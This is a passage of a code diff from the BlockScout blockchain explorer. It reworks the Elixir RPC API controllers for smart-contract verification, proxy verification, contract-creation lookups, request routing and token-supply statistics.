Indexer.Fetcher.OnDemand.ContractCode + + if @chain_type == :zksync do + @optimization_runs "0" + else + @optimization_runs 200 + end @smth_went_wrong "Something went wrong while publishing the contract" @verified "Smart-contract already verified." @invalid_address "Invalid address hash" @invalid_args "Invalid args format" @address_required "Query parameter address is required" + @addresses_required "Query parameter contractaddresses is required" + @contract_not_found "Smart-contract not found or is not verified" + @restricted_access "Access to this address is restricted" + @not_a_smart_contract "Address is not a smart-contract" + + @addresses_limit 10 + @api_true [api?: true] + + @doc """ + Function to handle getcontractcreation request + """ + @spec getcontractcreation(Plug.Conn.t(), map()) :: Plug.Conn.t() + def getcontractcreation(conn, %{"contractaddresses" => contract_address_hash_strings} = params) do + addresses = + contract_address_hash_strings + |> String.split(",") + |> Enum.take(@addresses_limit) + |> Enum.map(fn address_hash_string -> + case validate_address(address_hash_string, params) do + {:ok, _address_hash, address} -> + contract_creation_internal_transaction_with_transaction_association = [ + contract_creation_internal_transaction: { + Address.contract_creation_internal_transaction_preload_query(), + :transaction + } + ] + + Address.maybe_preload_smart_contract_associations( + address, + [ + Address.contract_creation_transaction_association(), + contract_creation_internal_transaction_with_transaction_association + ], + @api_true + ) + + _ -> + nil + end + end) + + render(conn, :getcontractcreation, %{addresses: addresses}) + end + + def getcontractcreation(conn, _params) do + render(conn, :error, error: @addresses_required, data: @addresses_required) + end def verify(conn, %{"addressHash" => address_hash} = params) do with {:params, {:ok, fetched_params}} <- {:params, fetch_verify_params(params)}, {:format, {:ok, casted_address_hash}} <- to_address_hash(address_hash), {:params, external_libraries} <- {:params, fetch_external_libraries(params)}, + {:not_a_smart_contract, {:ok, _bytecode}} <- + {:not_a_smart_contract, + conn + |> AccessHelper.conn_to_ip_string() + |> ContractCode.get_or_fetch_bytecode(casted_address_hash)}, {:publish, {:ok, _}} <- {:publish, Publisher.publish(address_hash, fetched_params, external_libraries)} do address = Contracts.address_hash_to_address_with_source_code(casted_address_hash) @@ -58,22 +119,14 @@ defmodule BlockScoutWeb.API.RPC.ContractController do render(conn, :error, error: "#{@smth_went_wrong}: #{inspect(error.errors)}") - {:publish, error} -> - Logger.error(fn -> - [ - @smth_went_wrong, - ": ", - inspect(error) - ] - end) - - render(conn, :error, error: @smth_went_wrong) - {:format, :error} -> render(conn, :error, error: @invalid_address) {:params, {:error, error}} -> render(conn, :error, error: error) + + {:not_a_smart_contract, _} -> + render(conn, :error, error: @not_a_smart_contract, data: @not_a_smart_contract) end end @@ -85,7 +138,7 @@ defmodule BlockScoutWeb.API.RPC.ContractController do [] end - if Chain.smart_contract_fully_verified?(address_hash) do + if SmartContract.verified_with_full_match?(address_hash) do render(conn, :error, error: @verified) else case Sourcify.check_by_address(address_hash) do @@ -99,9 +152,6 @@ defmodule BlockScoutWeb.API.RPC.ContractController do else {:error, error} -> render(conn, :error, error: error) - - _ -> - render(conn, :error, error: "Invalid body") end end end @@ -116,9 +166,14 @@ defmodule BlockScoutWeb.API.RPC.ContractController do } = params ) do with {:check_verified_status, false} <- - {:check_verified_status, Chain.smart_contract_fully_verified?(address_hash)}, - {:format, {:ok, _casted_address_hash}} <- to_address_hash(address_hash), + {:check_verified_status, SmartContract.verified_with_full_match?(address_hash)}, + {:format, {:ok, casted_address_hash}} <- to_address_hash(address_hash), {:params, {:ok, fetched_params}} <- {:params, fetch_verifysourcecode_params(params)}, + {:not_a_smart_contract, {:ok, _bytecode}} <- + {:not_a_smart_contract, + conn + |> AccessHelper.conn_to_ip_string() + |> ContractCode.get_or_fetch_bytecode(casted_address_hash)}, uid <- VerificationStatus.generate_uid(address_hash) do Que.add(SolidityPublisherWorker, {"json_api", fetched_params, json_input, uid}) @@ -132,6 +187,9 @@ defmodule BlockScoutWeb.API.RPC.ContractController do {:params, {:error, error}} -> render(conn, :error, error: error, data: error) + + {:not_a_smart_contract, _} -> + render(conn, :error, error: @not_a_smart_contract, data: @not_a_smart_contract) end end @@ -139,6 +197,46 @@ defmodule BlockScoutWeb.API.RPC.ContractController do render(conn, :error, error: "Missing sourceCode or contractaddress fields") end + def verifysourcecode( + conn, + %{ + "codeformat" => "solidity-single-file", + "contractaddress" => address_hash + } = params + ) do + with {:check_verified_status, false} <- + {:check_verified_status, SmartContract.verified_with_full_match?(address_hash)}, + {:format, {:ok, casted_address_hash}} <- to_address_hash(address_hash), + {:params, {:ok, fetched_params}} <- {:params, fetch_verifysourcecode_solidity_single_file_params(params)}, + {:not_a_smart_contract, {:ok, _bytecode}} <- + {:not_a_smart_contract, + conn + |> AccessHelper.conn_to_ip_string() + |> ContractCode.get_or_fetch_bytecode(casted_address_hash)}, + external_libraries <- fetch_external_libraries_for_verifysourcecode(params), + uid <- VerificationStatus.generate_uid(address_hash) do + Que.add(SolidityPublisherWorker, {"flattened_api", fetched_params, external_libraries, uid}) + + render(conn, :show, %{result: uid}) + else + {:check_verified_status, true} -> + render(conn, :error, error: @verified, data: @verified) + + {:format, :error} -> + render(conn, :error, error: @invalid_address, data: @invalid_address) + + {:params, {:error, error}} -> + render(conn, :error, error: error, data: error) + + {:not_a_smart_contract, _} -> + render(conn, :error, error: @not_a_smart_contract, data: @not_a_smart_contract) + end + end + + def verifysourcecode(conn, _params) do + render(conn, :error, error: "Missing codeformat field") + end + def checkverifystatus(conn, %{"guid" => guid}) do case VerificationStatus.fetch_status(guid) do :pending -> @@ -155,12 +253,82 @@ defmodule BlockScoutWeb.API.RPC.ContractController do end end + def verifyproxycontract(conn, %{"address" => address_hash_string} = params) do + with {:ok, address_hash, %Address{smart_contract: smart_contract}} <- + validate_address(address_hash_string, params, + necessity_by_association: %{:smart_contract => :optional}, + api?: true + ), + {:not_found, false} <- {:not_found, is_nil(smart_contract)}, + implementation_updated_at <- Implementation.get_proxy_implementation_updated_at(address_hash, []), + {:time_interval, true} <- + {:time_interval, Implementation.check_implementation_refetch_necessity(implementation_updated_at)}, + uid <- ProxyVerificationStatus.generate_uid(address_hash) do + ProxyVerificationStatus.insert_status(uid, :pending, address_hash) + + Implementation.get_implementation(smart_contract, + timeout: 0, + uid: uid, + callback: &ProxyVerificationStatus.set_proxy_verification_result/2 + ) + + render(conn, :show, %{result: uid}) + else + {:format, :error} -> + render(conn, :error, error: @invalid_address) + + {:not_found, _} -> + render(conn, :error, error: @contract_not_found) + + {:restricted_access, true} -> + render(conn, :error, error: @restricted_access) + + {:time_interval, false} -> + render(conn, :error, error: "Only one attempt in #{Implementation.get_fresh_time_distance()}ms") + end + end + + def checkproxyverification(conn, %{"guid" => guid}) do + submission = ProxyVerificationStatus.fetch_status(guid) + + case submission && submission.status do + :pending -> + render(conn, :show, %{result: "Verification in progress"}) + + :pass -> + implementation_address_hashes = + Implementation.get_proxy_implementations(submission.contract_address_hash, []).address_hashes + + result = + if Enum.count(implementation_address_hashes) == 1 do + implementation_address_hash = Enum.at(implementation_address_hashes, 0) + + "The proxy's (#{submission.contract_address_hash}) implementation contract is found at #{implementation_address_hash} and is successfully updated." + else + "The proxy's (#{submission.contract_address_hash}) implementation contracts are found at #{inspect(implementation_address_hashes)} and they've been successfully updated." + end + + render(conn, :show, %{ + result: result + }) + + :fail -> + render(conn, :error, %{ + error: "NOTOK", + data: "A corresponding implementation contract was unfortunately not detected for the proxy address." + }) + + _ -> + render(conn, :show, %{result: "Unknown UID"}) + end + end + defp prepare_params(files) when is_struct(files) do {:error, @invalid_args} end defp prepare_params(files) when is_map(files) do - {:ok, VerificationController.prepare_files_array(files)} + {:ok, PublishHelper.prepare_files_array(files)} end defp prepare_params(files) when is_list(files) do @@ -181,11 +349,11 @@ defmodule BlockScoutWeb.API.RPC.ContractController do jsons = files_array - |> Enum.filter(fn file -> Helper.json_file?(file.filename) end) + |> Enum.filter(fn file -> SmartContractHelper.json_file?(file.filename) end) sols = files_array - |> Enum.filter(fn file -> Helper.sol_file?(file.filename) end) + |> Enum.filter(fn file -> SmartContractHelper.sol_file?(file.filename) end) if length(jsons) > 0 and length(sols) > 0 do {:ok, files_array} @@ -240,7 +408,7 @@ defmodule BlockScoutWeb.API.RPC.ContractController do secondary_sources, conn ) do - case publish_without_broadcast(%{ + case PublishHelper.publish_without_broadcast(%{ "addressHash" => address_hash_string, "params" => params_to_publish, "abi" => abi, @@ -257,7 +425,7 @@ defmodule BlockScoutWeb.API.RPC.ContractController do end defp verify_and_publish(address_hash_string, files_array, conn) do - case Sourcify.verify(address_hash_string, files_array) do + case Sourcify.verify(address_hash_string, files_array, nil) do {:ok, _verified_status} -> case Sourcify.check_by_address(address_hash_string) do {:ok, _verified_status} -> @@ -281,6 +449,11 @@ defmodule BlockScoutWeb.API.RPC.ContractController do def verify_vyper_contract(conn, %{"addressHash" => address_hash} = params) do with {:params, {:ok, fetched_params}} <- {:params, fetch_vyper_verify_params(params)}, {:format, {:ok, casted_address_hash}} <- to_address_hash(address_hash), + {:not_a_smart_contract, {:ok, _bytecode}} <- + {:not_a_smart_contract, + conn + |> AccessHelper.conn_to_ip_string() + |> ContractCode.get_or_fetch_bytecode(casted_address_hash)}, {:publish, {:ok, _}} <- {:publish, VyperPublisher.publish(address_hash, fetched_params)} do address = Contracts.address_hash_to_address_with_source_code(casted_address_hash) @@ -309,58 +482,14 @@ defmodule BlockScoutWeb.API.RPC.ContractController do {:params, {:error, error}} -> render(conn, :error, error: error) - end - end - - def publish_without_broadcast( - %{"addressHash" => address_hash, "abi" => abi, "compilationTargetFilePath" => file_path} = input - ) do - params = proccess_params(input) - - address_hash - |> Publisher.publish_smart_contract(params, abi, file_path) - |> proccess_response() - end - - def publish_without_broadcast(%{"addressHash" => address_hash, "abi" => abi} = input) do - params = proccess_params(input) - address_hash - |> Publisher.publish_smart_contract(params, abi) - |> proccess_response() - end - - def publish(nil, %{"addressHash" => _address_hash} = input) do - publish_without_broadcast(input) - end - - def publish(conn, %{"addressHash" => address_hash} = input) do - result = publish_without_broadcast(input) - - EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result, conn}}], :on_demand) - end - - def proccess_params(input) do - if Map.has_key?(input, "secondarySources") do - input["params"] - |> Map.put("secondary_sources", Map.get(input, "secondarySources")) - else - input["params"] - end - end - - def proccess_response(response) do - case response do - {:ok, _contract} = result -> - result - - {:error, changeset} -> - {:error, changeset} + {:not_a_smart_contract, _} -> + render(conn, :error, error: @not_a_smart_contract, data: @not_a_smart_contract) end end def listcontracts(conn, params) do - with pagination_options <- Helpers.put_pagination_options(%{}, params), + with pagination_options <- Helper.put_pagination_options(%{}, params), {:params, {:ok, options}} <- {:params, add_filters(pagination_options, params)} do options_with_defaults = options @@ -383,7 +512,7 @@ defmodule BlockScoutWeb.API.RPC.ContractController do def getabi(conn, params) do with {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hash}} <- to_address_hash(address_param), - {:contract, {:ok, contract}} <- to_smart_contract(address_hash) do + {:contract, {:ok, contract}} <- to_smart_contract(address_hash, AccessHelper.conn_to_ip_string(conn)) do render(conn, :getabi, %{abi: contract.abi}) else {:address_param, :error} -> @@ -400,11 +529,11 @@ defmodule BlockScoutWeb.API.RPC.ContractController do def getsourcecode(conn, params) do with {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hash}} <- to_address_hash(address_param) do - _ = VerificationController.check_and_verify(address_param) + _ = PublishHelper.check_and_verify(address_param, ip: AccessHelper.conn_to_ip_string(conn)) address = Contracts.address_hash_to_address_with_source_code(address_hash) render(conn, :getsourcecode, %{ - contract: address + contract: address || %Address{hash: address_hash, smart_contract: nil} }) else {:address_param, :error} -> @@ -412,9 +541,6 @@ defmodule BlockScoutWeb.API.RPC.ContractController do {:format, :error} -> render(conn, :error, error: @invalid_address) - - {:contract, :not_found} -> - render(conn, :getsourcecode, %{contract: nil, address_hash: nil}) end end @@ -423,18 +549,11 @@ defmodule BlockScoutWeb.API.RPC.ContractController do case Map.get(opts, :filter) do :verified -> - Contracts.list_verified_contracts(page_size, offset) - - :decompiled -> - not_decompiled_with_version = Map.get(opts, :not_decompiled_with_version) - Contracts.list_decompiled_contracts(page_size, offset, not_decompiled_with_version) + Contracts.list_verified_contracts(page_size, offset, opts) :unverified -> Contracts.list_unordered_unverified_contracts(page_size, offset) - :not_decompiled -> - Contracts.list_unordered_not_decompiled_contracts(page_size, offset) - :empty -> Contracts.list_empty_contracts(page_size, offset) @@ -446,7 +565,8 @@ defmodule BlockScoutWeb.API.RPC.ContractController do defp add_filters(options, params) do options |> add_filter(params) - |> add_not_decompiled_with_version(params) + |> AddressController.put_timestamp(params, "verified_at_start_timestamp") + |> AddressController.put_timestamp(params, "verified_at_end_timestamp") end defp add_filter(options, params) do @@ -459,27 +579,12 @@ defmodule BlockScoutWeb.API.RPC.ContractController do end end - defp add_not_decompiled_with_version({:ok, options}, params) do - case Map.fetch(params, "not_decompiled_with_version") do - {:ok, value} -> {:ok, Map.put(options, :not_decompiled_with_version, value)} - :error -> {:ok, options} - end - end - - defp add_not_decompiled_with_version(options, _params) do - options - end - defp contracts_filter(nil), do: {:ok, nil} defp contracts_filter(1), do: {:ok, :verified} - defp contracts_filter(2), do: {:ok, :decompiled} - defp contracts_filter(3), do: {:ok, :unverified} - defp contracts_filter(4), do: {:ok, :not_decompiled} - defp contracts_filter(5), do: {:ok, :empty} + defp contracts_filter(2), do: {:ok, :unverified} + defp contracts_filter(3), do: {:ok, :empty} defp contracts_filter("verified"), do: {:ok, :verified} - defp contracts_filter("decompiled"), do: {:ok, :decompiled} defp contracts_filter("unverified"), do: {:ok, :unverified} - defp contracts_filter("not_decompiled"), do: {:ok, :not_decompiled} defp contracts_filter("empty"), do: {:ok, :empty} defp contracts_filter(filter) when is_bitstring(filter) do @@ -492,7 +597,7 @@ defmodule BlockScoutWeb.API.RPC.ContractController do defp contracts_filter(filter), do: {:error, contracts_filter_error_message(filter)} defp contracts_filter_error_message(filter) do - "#{filter} is not a valid value for `filter`. Please use one of: verified, decompiled, unverified, not_decompiled, 1, 2, 3, 4." + "#{filter} is not a valid value for `filter`. Please use one of: verified, unverified, 1, 2." end defp fetch_address(params) do @@ -503,16 +608,16 @@ defmodule BlockScoutWeb.API.RPC.ContractController do {:format, Chain.string_to_address_hash(address_hash_string)} end - defp to_smart_contract(address_hash) do - _ = VerificationController.check_and_verify(Hash.to_string(address_hash)) + defp to_smart_contract(address_hash, ip) do + _ = PublishHelper.check_and_verify(Hash.to_string(address_hash), ip: ip) result = - case Chain.address_hash_to_smart_contract(address_hash) do - nil -> + case SmartContract.address_hash_to_smart_contract_with_bytecode_twin(address_hash) do + {nil, _} -> :not_found - contract -> - {:ok, SmartContract.preload_decompiled_smart_contract(contract)} + {contract, _} -> + {:ok, contract} end {:contract, result} @@ -546,8 +651,26 @@ defmodule BlockScoutWeb.API.RPC.ContractController do |> required_param(params, "contractaddress", "address_hash") |> required_param(params, "contractname", "name") |> required_param(params, "compilerversion", "compiler_version") - |> optional_param(params, "constructorArguements", "constructor_arguments") |> optional_param(params, "constructorArguments", "constructor_arguments") + |> optional_param(params, "licenseType", "license_type") + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: optional_param(&1, params, "zksolcVersion", "zk_compiler_version"), + else: &1 + )).() + end + + defp fetch_verifysourcecode_solidity_single_file_params(params) do + {:ok, %{}} + |> required_param(params, "contractaddress", "address_hash") + |> required_param(params, "contractname", "name") + |> required_param(params, "compilerversion", "compiler_version") + |> required_param(params, "optimizationUsed", "optimization") + |> required_param(params, "sourceCode", "contract_source_code") + |> optional_param(params, "runs", "optimization_runs") + |> optional_param(params, "evmversion", "evm_version") + |> optional_param(params, "constructorArguments", "constructor_arguments") + |> optional_param(params, "licenseType", "license_type") + |> prepare_optimization() end defp parse_optimization_runs({:ok, %{"optimization_runs" => runs} = opts}) when is_bitstring(runs) do @@ -556,7 +679,7 @@ defmodule BlockScoutWeb.API.RPC.ContractController do {:ok, Map.put(opts, "optimization_runs", runs_int)} _ -> - {:ok, Map.put(opts, "optimization_runs", 200)} + {:ok, Map.put(opts, "optimization_runs", @optimization_runs)} end end @@ -565,16 +688,24 @@ defmodule BlockScoutWeb.API.RPC.ContractController do end defp parse_optimization_runs({:ok, opts}) do - {:ok, Map.put(opts, "optimization_runs", 200)} + {:ok, Map.put(opts, "optimization_runs", @optimization_runs)} end defp parse_optimization_runs(other), do: other defp fetch_external_libraries(params) do - Enum.reduce(1..10, %{}, fn number, acc -> - case Map.fetch(params, "library#{number}Name") do + fetch_external_libraries_general(&"library#{&1}Name", &"library#{&1}Address", params) + end + + defp fetch_external_libraries_for_verifysourcecode(params) do + fetch_external_libraries_general(&"libraryname#{&1}", &"libraryaddress#{&1}", params) + end + + defp fetch_external_libraries_general(number_to_library_name, number_to_library_address, params) do + Enum.reduce(1..Application.get_env(:block_scout_web, :contract)[:verification_max_libraries], %{}, fn number, acc -> + case Map.fetch(params, number_to_library_name.(number)) do {:ok, library_name} -> - library_address = Map.get(params, "library#{number}Address") + library_address = Map.get(params, number_to_library_address.(number)) acc |> Map.put("library#{number}_name", library_name) @@ -609,4 +740,49 @@ defmodule BlockScoutWeb.API.RPC.ContractController do {:ok, map} end end + + defp prepare_optimization({:ok, %{"optimization" => optimization} = params}) do + parsed = parse_optimization(optimization) + + case parsed do + :error -> + {:error, "optimizationUsed has invalid format"} + + _ -> + {:ok, Map.put(params, "optimization", parsed)} + end + end + + defp prepare_optimization(error), do: error + + defp parse_optimization("0"), do: false + defp parse_optimization(0), do: false + + defp parse_optimization("1"), do: true + defp parse_optimization(1), do: true + + defp parse_optimization("false"), do: false + defp parse_optimization(false), do: false + + defp parse_optimization("true"), do: true + defp parse_optimization(true), do: true + + defp parse_optimization(_), do: :error + + @doc """ + Checks if this valid address hash string, and this address is not prohibited address. + Returns the `{:ok, address_hash, address}` if address hash passed all the checks. + """ + @spec validate_address(String.t(), any(), Keyword.t()) :: + {:format, :error} + | {:not_found, {:error, :not_found}} + | {:restricted_access, true} + | {:ok, Hash.t(), Address.t()} + def validate_address(address_hash_string, params, options \\ @api_true) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, address}} <- {:not_found, Chain.hash_to_address(address_hash, options)} do + {:ok, address_hash, address} + end + end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/helper.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/helper.ex new file mode 100644 index 000000000000..a533ff8b57df --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/helper.ex @@ -0,0 +1,55 @@ +defmodule BlockScoutWeb.API.RPC.Helper do + @moduledoc """ + Small helpers for RPC api controllers. + """ + alias Explorer.{Chain, Etherscan} + + def put_pagination_options(options, params) do + options + |> put_page_option(params) + |> put_offset_option(params) + end + + def put_page_option(options, %{"page" => page}) do + case Integer.parse(page) do + {page_number, ""} when page_number > 0 -> + Map.put(options, :page_number, page_number) + + _ -> + options + end + end + + def put_page_option(options, _), do: options + + def put_offset_option(options, %{"offset" => offset}) do + with {page_size, ""} when page_size > 0 <- Integer.parse(offset), + :ok <- validate_max_page_size(page_size) do + Map.put(options, :page_size, page_size) + else + _ -> + options + end + end + + def put_offset_option(options, _) do + options + end + + defp validate_max_page_size(page_size) do + if page_size <= Etherscan.page_size_max(), do: :ok, else: :error + end + + @doc """ + Parses addresses list (delimiter is `,`) from a string and validates them. + """ + @spec parse_and_validate_addresses(binary(), integer()) :: list() + def parse_and_validate_addresses(string, limit) do + string + |> String.split(",") + |> Enum.take(limit) + |> Enum.uniq() + |> Enum.map(&Chain.string_to_address_hash_or_nil/1) + |> Enum.reject(&is_nil/1) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/helpers.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/helpers.ex deleted file mode 100644 index 1196af9edf4f..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/helpers.ex +++ /dev/null @@ -1,42 +0,0 @@ -defmodule BlockScoutWeb.API.RPC.Helpers do - @moduledoc """ - Small helpers for RPC api controllers. - """ - alias Explorer.Etherscan - - def put_pagination_options(options, params) do - options - |> put_page_option(params) - |> put_offset_option(params) - end - - def put_page_option(options, %{"page" => page}) do - case Integer.parse(page) do - {page_number, ""} when page_number > 0 -> - Map.put(options, :page_number, page_number) - - _ -> - options - end - end - - def put_page_option(options, _), do: options - - def put_offset_option(options, %{"offset" => offset}) do - with {page_size, ""} when page_size > 0 <- Integer.parse(offset), - :ok <- validate_max_page_size(page_size) do - Map.put(options, :page_size, page_size) - else - _ -> - options - end - end - - def put_offset_option(options, _) do - options - end - - defp validate_max_page_size(page_size) do - if page_size <= Etherscan.page_size_max(), do: :ok, else: :error - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/rpc_translator.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/rpc_translator.ex index 2ae18e4d815b..931d751e400a 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/rpc_translator.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/rpc_translator.ex @@ -18,36 +18,64 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslator do import Plug.Conn import Phoenix.Controller, only: [put_view: 2] - alias BlockScoutWeb.AccessHelpers alias BlockScoutWeb.API.APILogger alias BlockScoutWeb.API.RPC.RPCView + + alias BlockScoutWeb.API.RPC.{ + AddressController, + BlockController, + CeloController, + ContractController, + LogsController, + RPCView, + StatsController, + TokenController, + TransactionController + } + alias Phoenix.Controller alias Plug.Conn - def init(opts) do - APILogger.message( - "Current global API rate limit #{inspect(Application.get_env(:block_scout_web, :api_rate_limit)[:global_limit])} reqs/sec" - ) + @on_load :load_atoms - APILogger.message( - "Current API rate limit by key #{inspect(Application.get_env(:block_scout_web, :api_rate_limit)[:limit_by_key])} reqs/sec" - ) + @doc """ + Ensures that the specified controller modules are loaded into memory. - APILogger.message( - "Current API rate limit by IP #{inspect(Application.get_env(:block_scout_web, :api_rate_limit)[:limit_by_ip])} reqs/sec" + This function iterates over a predefined list of controller modules and calls `Code.ensure_loaded?/1` + on each, which loads the module if it hasn't been loaded yet. This is useful for ensuring that + all necessary controllers are available before performing operations that depend on them. + + Returns `:ok` after attempting to load all modules. + """ + @spec load_atoms() :: :ok + def load_atoms do + Enum.each( + [ + AddressController, + BlockController, + CeloController, + ContractController, + LogsController, + StatsController, + TokenController, + TransactionController + ], + &Code.ensure_loaded?/1 ) + :ok + end + + def init(opts) do opts end def call(%Conn{params: %{"module" => module, "action" => action}} = conn, translations) do - with true <- valid_api_request_path(conn), + with {:valid_api_v1_request, true} <- {:valid_api_v1_request, valid_api_v1_request_path(conn)}, {:ok, {controller, write_actions}} <- translate_module(translations, module), {:ok, action} <- translate_action(action), true <- action_accessed?(action, write_actions), - :ok <- AccessHelpers.check_rate_limit(conn), {:ok, conn} <- call_controller(conn, controller, action) do - APILogger.log(conn) conn else {:error, :no_action} -> @@ -57,8 +85,17 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslator do |> Controller.render(:error, error: "Unknown action") |> halt() + {:error, :no_module} -> + conn + |> put_status(400) + |> put_view(RPCView) + |> Controller.render(:error, error: "Unknown module") + |> halt() + {:error, error} -> - Logger.error(fn -> ["Error while calling RPC action", inspect(error)] end) + APILogger.error(fn -> + ["Error while calling RPC action", inspect(error, limit: :infinity, printable_limit: :infinity)] + end) conn |> put_status(500) @@ -66,8 +103,12 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslator do |> Controller.render(:error, error: "Something went wrong.") |> halt() - :rate_limit_reached -> - AccessHelpers.handle_rate_limit_deny(conn) + {:valid_api_v1_request, false} -> + conn + |> put_status(404) + |> put_view(RPCView) + |> Controller.render(:error, error: "Not found") + |> halt() _ -> conn @@ -93,7 +134,7 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslator do case Map.fetch(translations, module_lowercase) do {:ok, module} -> {:ok, module} - _ -> {:error, :no_action} + _ -> {:error, :no_module} end end @@ -107,7 +148,7 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslator do end defp action_accessed?(action, write_actions) do - conf = Application.get_env(:block_scout_web, BlockScoutWeb.ApiRouter) + conf = Application.get_env(:block_scout_web, BlockScoutWeb.Routers.ApiRouter) if action in write_actions do conf[:writing_enabled] || {:error, :no_action} @@ -129,8 +170,10 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslator do {:error, Exception.format(:error, e, __STACKTRACE__)} end - defp valid_api_request_path(conn) do - if conn.request_path == "/api" || conn.request_path == "/api/v1" do + defp valid_api_v1_request_path(conn) do + if String.ends_with?(conn.request_path, "/api") || String.ends_with?(conn.request_path, "/api/") || + String.ends_with?(conn.request_path, "/api/v1") || + String.ends_with?(conn.request_path, "/api/v1/") do true else false diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/stats_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/stats_controller.ex index 008af99de07b..a544429c77cf 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/stats_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/stats_controller.ex @@ -1,17 +1,34 @@ defmodule BlockScoutWeb.API.RPC.StatsController do use BlockScoutWeb, :controller - use Explorer.Schema - - alias Explorer.{Chain, Etherscan, ExchangeRates} - alias Explorer.Chain.Cache.{AddressSum, AddressSumMinusBurnt} + alias Explorer.{Chain, Etherscan, Market} + alias Explorer.Chain.Cache.Counters.{AddressesCoinBalanceSum, AddressesCoinBalanceSumMinusBurnt, LastFetchedCounter} alias Explorer.Chain.Wei + @cmc_token_supply_precision 9 + def tokensupply(conn, params) do with {:contractaddress_param, {:ok, contractaddress_param}} <- fetch_contractaddress(params), {:format, {:ok, address_hash}} <- to_address_hash(contractaddress_param), {:token, {:ok, token}} <- {:token, Chain.token_from_address_hash(address_hash)} do - render(conn, "tokensupply.json", total_supply: Decimal.to_string(token.total_supply)) + if Map.get(params, "cmc") == "true" do + conn + |> put_resp_content_type("text/plain") + |> send_resp( + 200, + token.total_supply && + to_cmc_total_supply( + token.total_supply, + token.decimals + ) + ) + else + conn + |> render( + "tokensupply.json", + total_supply: token.total_supply && Decimal.to_string(token.total_supply) + ) + end else {:contractaddress_param, :error} -> render(conn, :error, error: "Query parameter contract address is required") @@ -20,7 +37,7 @@ defmodule BlockScoutWeb.API.RPC.StatsController do render(conn, :error, error: "Invalid contract address format") {:token, {:error, :not_found}} -> - render(conn, :error, error: "contract address not found") + render(conn, :error, error: "Contract address not found") end end @@ -36,19 +53,19 @@ defmodule BlockScoutWeb.API.RPC.StatsController do end def ethsupply(conn, _params) do - cached_wei_total_supply = AddressSum.get_sum() + cached_wei_total_supply = AddressesCoinBalanceSum.get_sum() render(conn, "ethsupply.json", total_supply: cached_wei_total_supply) end def coinsupply(conn, _params) do - cached_coin_total_supply_wei = AddressSumMinusBurnt.get_sum_minus_burnt() + cached_coin_total_supply_wei = AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt() coin_total_supply_wei = if Decimal.compare(cached_coin_total_supply_wei, 0) == :gt do cached_coin_total_supply_wei else - Chain.get_last_fetched_counter("sum_coin_total_supply_minus_burnt") + LastFetchedCounter.get("sum_coin_total_supply_minus_burnt") end cached_coin_total_supply = @@ -59,9 +76,14 @@ defmodule BlockScoutWeb.API.RPC.StatsController do render(conn, "coinsupply.json", total_supply: cached_coin_total_supply) end + def ethprice(conn, _params) do + rates = Market.get_coin_exchange_rate() + + render(conn, "ethprice.json", rates: rates) + end + def coinprice(conn, _params) do - symbol = Application.get_env(:explorer, :coin) - rates = ExchangeRates.lookup(symbol) + rates = Market.get_coin_exchange_rate() render(conn, "coinprice.json", rates: rates) end @@ -74,6 +96,19 @@ defmodule BlockScoutWeb.API.RPC.StatsController do {:format, Chain.string_to_address_hash(address_hash_string)} end + @spec to_cmc_total_supply(Decimal.t(), Decimal.t() | nil) :: String.t() + defp to_cmc_total_supply(total_supply, decimals) do + divider = + 1 + |> Decimal.new(1, Decimal.to_integer(decimals || Decimal.new(0))) + |> Decimal.to_integer() + + total_supply + |> Decimal.div(divider) + |> Decimal.round(@cmc_token_supply_precision) + |> Decimal.to_string() + end + def totalfees(conn, params) do case Map.fetch(params, "date") do {:ok, date} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/token_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/token_controller.ex index f2f8afb82ab1..5d2bce55601d 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/token_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/token_controller.ex @@ -1,7 +1,8 @@ defmodule BlockScoutWeb.API.RPC.TokenController do use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:explorer, [Explorer.Chain.BridgedToken, :enabled]] - alias BlockScoutWeb.API.RPC.Helpers + alias BlockScoutWeb.API.RPC.Helper alias Explorer.{Chain, PagingOptions} def gettoken(conn, params) do @@ -17,12 +18,12 @@ defmodule BlockScoutWeb.API.RPC.TokenController do render(conn, :error, error: "Invalid contract address hash") {:token, {:error, :not_found}} -> - render(conn, :error, error: "contract address not found") + render(conn, :error, error: "Contract address not found") end end def gettokenholders(conn, params) do - with pagination_options <- Helpers.put_pagination_options(%{}, params), + with pagination_options <- Helper.put_pagination_options(%{}, params), {:contractaddress_param, {:ok, contractaddress_param}} <- fetch_contractaddress(params), {:format, {:ok, address_hash}} <- to_address_hash(contractaddress_param) do options_with_defaults = @@ -35,11 +36,11 @@ defmodule BlockScoutWeb.API.RPC.TokenController 